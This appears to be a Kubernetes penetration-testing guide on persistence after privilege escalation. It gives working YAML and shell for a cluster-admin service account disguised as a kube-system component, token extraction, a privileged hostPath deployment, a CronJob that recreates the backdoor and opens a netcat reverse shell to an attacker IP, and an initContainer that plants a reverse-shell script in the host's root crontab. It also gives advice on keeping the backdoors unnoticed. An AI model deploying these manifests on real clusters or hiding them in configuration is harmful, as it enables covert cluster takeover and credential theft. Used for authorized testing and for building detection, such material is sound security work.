Persistence and Lateral Movement
Pentesting Kubernetes (K8s): Persistence Mechanisms in Kubernetes Environments
Overview
After gaining elevated privileges in a Kubernetes cluster, we can focus on maintaining persistent access to ensure continued control even after system updates, restarts, or security remediation attempts.
Since Kubernetes relies on declarative YAML manifests, access to resource definitions or Helm charts can be enough to embed privilege escalation and persistence mechanisms directly into the cluster configuration. By modifying these files, we can explicitly define insecure settings, backdoors, or overly privileged resources that become applied automatically when the configuration is deployed.
Hidden Service Account
This is one of the most basic yet effective persistence mechanisms, as it relies on human error and assumes that malicious manifests will not be carefully reviewed. By creating a service account that mimics legitimate system components and binding it to a highly privileged role, we can maintain long‑term access to the cluster.
Depending on the architecture, automated CI/CD pipelines or configuration reconciliation mechanisms may eventually overwrite or remove this persistence, but in many environments such backdoors remain unnoticed for extended periods of time.
Giving cluster-admin to the persistence account makes it easier to detect, consider using a custom role.
Stealth Service Account Creation:
# Disguised as system component
apiVersion: v1
kind: ServiceAccount
metadata:
name: system-node-monitor
namespace: kube-system
labels:
component: system-monitor
tier: node
automountServiceAccountToken: true
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: system-node-monitor-binding
labels:
component: system-monitor
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-admin
subjects:
- kind: ServiceAccount
name: system-node-monitor
namespace: kube-systemToken Extraction and Storage:
# Extract service account token
SA_SECRET=$(kubectl get sa system-node-monitor -n kube-system -o jsonpath='{.secrets[0].name}')
TOKEN=$(kubectl get secret $SA_SECRET -n kube-system -o jsonpath='{.data.token}' | base64 -d)
# Store token externally
echo $TOKEN > /tmp/backdoor-token.txt
# Test token persistence
kubectl --token=$TOKEN --server=https://<api_server>:6443 --insecure-skip-tls-verify get nodesPeriodic Service Account Token Extraction
Periodic service account token extraction is a persistence technique that focuses on continuously harvesting valid credentials rather than maintaining a single static backdoor. By injecting a sidecar container into an existing pod, we can periodically read the mounted service account token and exfiltrate it to a command-and-control (C2) server.
This approach is particularly effective in environments where tokens are rotated or pods are frequently recreated, as it ensures we always have access to fresh credentials while remaining relatively stealthy within legitimate workloads.
Bring Your Own Persistence (BYOP)
Bring Your Own Persistence (BYOP) refers to the idea that once high privileges are obtained in a Kubernetes cluster, persistence is limited only by the our creativity. With elevated permissions, we can leverage multiple native Kubernetes mechanisms to maintain long-term access, such as:
- poisoning container images or registries
- abusing initContainers
- creating scheduled jobs (CronJobs)
- injecting malicious sidecars
- deploying legitimate but backdoored workloads and deployments
Because these techniques rely on standard Kubernetes features, they often blend into normal cluster operations and are difficult to detect without strict reviews and continuous monitoring.
Just don't make them super obvious.
Malicious Deployment Manifest
apiVersion: apps/v1
kind: Deployment
metadata:
name: backdoor-deployment
namespace: kube-system
spec:
replicas: 1
selector:
matchLabels:
app: system-monitor
template:
metadata:
labels:
app: system-monitor
spec:
serviceAccountName: default
hostNetwork: true
containers:
- name: monitor
image: alpine
command: ["/bin/sh", "-c"]
args:
- |
while true; do
# Backdoor logic here
sleep 300
done
securityContext:
privileged: true
volumeMounts:
- name: host-root
mountPath: /host
- name: host-proc
mountPath: /host/proc
- name: host-sys
mountPath: /host/sys
volumes:
- name: host-root
hostPath:
path: /
- name: host-proc
hostPath:
path: /proc
- name: host-sys
hostPath:
path: /sysCronJob-based Persistence
apiVersion: batch/v1
kind: CronJob
metadata:
name: system-cleanup
namespace: kube-system
labels:
component: system-maintenance
spec:
schedule: "*/10 * * * *" # Every 10 minutes
jobTemplate:
spec:
template:
spec:
serviceAccountName: system-node-monitor
restartPolicy: OnFailure
containers:
- name: cleanup
image: alpine:latest
command: ["/bin/sh"]
args:
- -c
- |
# Backdoor logic here
# Ensure backdoor service account exists
if ! kubectl get sa system-node-monitor -n kube-system > /dev/null 2>&1; then
echo "Recreating backdoor service account..."
kubectl apply -f - <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: system-node-monitor
namespace: kube-system
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: system-node-monitor-binding
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-admin
subjects:
- kind: ServiceAccount
name: system-node-monitor
namespace: kube-system
EOF
fi
# Ensure backdoor pods are running
if ! kubectl get pods -n kube-system -l name=node-security-monitor | grep Running > /dev/null; then
echo "Recreating backdoor pods..."
kubectl apply -f /tmp/backdoor-daemonset.yaml
fi
# Establish reverse shell
nc -e /bin/sh <attacker_ip> <attacker_port> &Init Containers
apiVersion: apps/v1
kind: Deployment
metadata:
name: web-app
spec:
replicas: 1
selector:
matchLabels:
app: web-app
template:
metadata:
labels:
app: web-app
spec:
initContainers:
- name: setup
image: alpine:latest
command: ["/bin/sh"]
args:
- -c
- |
# Install backdoor on host
echo '#!/bin/sh' > /host/tmp/backdoor.sh
echo 'while true; do' >> /host/tmp/backdoor.sh
echo ' nc -e /bin/sh <attacker_ip> <port> 2>/dev/null' >> /host/tmp/backdoor.sh
echo ' sleep 300' >> /host/tmp/backdoor.sh
echo 'done' >> /host/tmp/backdoor.sh
chmod +x /host/tmp/backdoor.sh
# Add to crontab
echo '*/5 * * * * /tmp/backdoor.sh' >> /host/var/spool/cron/crontabs/root
volumeMounts:
- name: host-root
mountPath: /host
securityContext:
privileged: true
containers:
- name: web
image: nginx:latest
volumes:
- name: host-root
hostPath:
path: /